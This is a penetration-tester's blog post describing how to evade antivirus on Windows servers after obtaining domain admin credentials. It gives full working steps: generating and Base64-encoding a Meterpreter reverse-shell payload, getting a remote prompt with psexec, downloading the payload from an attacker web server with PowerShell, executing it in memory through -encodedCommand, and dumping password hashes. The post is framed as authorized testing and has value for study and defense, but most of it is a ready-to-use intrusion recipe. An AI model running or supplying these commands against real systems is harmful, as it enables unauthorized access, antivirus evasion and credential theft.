Bypassing Antivirus with PowerShell

By Dan Kottmann ·

On a recent penetration test, I ran into a number of challenges overcoming antivirus on compromised machines. Although I had already obtained domain administrator credentials, a number of roadblocks existed that prevented me from traversing the internal network:

  1. Remote Desktop was disabled on roughly 75% of the Windows servers. Although I had a clear-text password, I could not leverage RDP to interact with the systems.
  2. Antivirus was preventing all of my commonly used payloads from executing. Including all my attempts at using Metasploit's meterpreter, shell, upexec, exec, etc. modules. Manual encoding of custom PE files also failed to bypass AV.

To fully leverage the domain admin credentials, I needed a reliable method to access all the Windows servers on the network without interference from Antivirus. Without RDP, I needed to accomplish this through SMB.

The solution I present below accomplishes this task by utilizing SysInternals psexec to gain a remote command prompt on the victim. Utilizing this command prompt, I then execute a set of PowerShell commands to upgrade my access to a Meterpreter shell all the while staying hidden from Antivirus. The techniques presented here, while not likely to be bleeding edge, attempt to consolidate a number of disjoint topics into a useful penetration testing scenario.


There are a number of challenges that need to be overcome. Of course, evading antivirus is the ultimate challenge. However, limitations in the number of characters that can be passed via the Windows command prompt presents another challenge that needs to be considered. Additionally, PowerShell may limit a user's ability to execute scripts via its Execution Policy. Although this can be changed, I generally prefer to avoid altering the target machine.

Here's how I'll be overcoming these challenges:

  • Evading Antivirus: Execute the Meterpreter shellcode in memory to avoid AV signature detection
  • Execution Policy Preventing the Execution of PowerShell Scripts: Execute the commands via the -command and -encodedCommand PowerShell switches
  • Limitations on Windows Command Length: I'll split the commands up into multiple steps and, where needed, execute them using a PowerShell variable which does not have the same size restriction


The process, as I executed it, loosely adheres to the following steps:

  1. Generate the Meterpreter payload, encode it, and save it within an accessible location on the attacking machine (e.g. Apache's /var/www directory).
  2. Start a Meterpreter listener on the attacking machine
  3. Utilize SysInternals psexec to obtain a command prompt on the target machine
  4. From the command prompt, execute a PowerShell command to download the payload generated in step one.
  5. From the command prompt, execute another PowerShell command which reads in our payload and executes the encoded version of it.

The Setup

In my scenario, there are 3 machines in play:

  1. The Windows target -
  2. The attacker's Backtrack machine -
  3. The attacker's Windows machine (used for running psexec standalone). Running as a VM - IP address is inconsequential.

The Preparation

Let's get started. Let's start by generating a PowerShell script which executes our Meterpreter payload. This is simple by using msfpayload and msfencode:

msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=443 R | msfencode -t psh -a x86

While it's fresh on our minds, start the multi/handler in Metasploit to listen on

Although there's likely a quicker way to do the next steps, I chose to utilize my Windows VM. Start by copying the PSH script that was output above. In a Windows command prompt, perform the following:

c:\> powershell


PS c:\> $u = [System.Text.Encoding]::Unicode.GetBytes($cmd)

PS c:\> $e = [Convert]::ToBase64String($u)

PS c:\> $e

The above converts our script to Unicode and then Base64 encodes it. A couple of notes... Replace everything in red above (including the '<' and '>' characters) with the script generated by msfpayload/msfencode. This will be a multiline command. Ensure the single quotes are present. You may have to press "Enter" a few times after typing the closing single quote.

The last line in the PowerShell series simply prints the encoded payload to the screen. Copy this value and clean it up by removing all new lines. Your encoded data must not span multiple lines.

Save the cleaned up, encoded payload on the attacking machine under a directory served by Apache (or whatever web server you prefer). In my case, I'll save it as "shell.txt" in /var/www. Start your web server and verify that the file is accessible.

The Execution

On your Windows machine, lets get a remote command prompt on the target (this assumes that you have valid credentials on the target).

c:\> psexec \\ -u domain\jdoe -p s3cr3t cmd.exe

With all the setup in place, we'll now proceed to download our encoded payload and execute it.

In the command prompt we just obtained, enter the following to download our encoded payload:

c:\> powershell -noprofile -noninteractive -command "& {$client=new-object System.Net.WebClient;$client.DownloadFile('','c:\windows\temp\_shell.txt')}"

For those of you familiar with WGET, the above basically duplicates that functionality. It downloads the file "shell.txt" from (our attacking machine with the web server running) and saves it to c:\windows\temp\_shell.txt on the target server.

Now that we have the encoded shellcode on the target machine, we can execute the following from the same command prompt.

c:\> powershell -noprofile -noninteractive -noexit -command "& {$cmd=type 'c:\windows\temp\_shell.txt';powershell -noprofile -noninteractive -noexit -encodedCommand $cmd}"

While there are likely more efficient ways to accomplish this command, what it's doing is grabbing the contents of our encoded shellcode and storing it in a variable (via the 'type' command). It then executes an additional PowerShell command. By using the -encodedCommand switch we can pass it our encoded shellcode. This allows us to execute the script via a command line rather than a script (which avoids any ExecutionPolicy restrictions). Additionally, storing the payload in the $cmd variable allows us to bypass command length restrictions of the command prompt.


Depending on your connection speed, the above command may take some time to execute. When it's complete, we are greeted with the sweet site of a new Meterpreter session untouched by AV...

[*] Sending stage (752128 bytes) to
[*] Meterpreter session 3 opened ( -> at 2012-08-21 09:06:50 -0400

meterpreter > getuid
Server username: domain\jdoe
meterpreter > sysinfo
Computer : VICTIMSVR
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > hashdump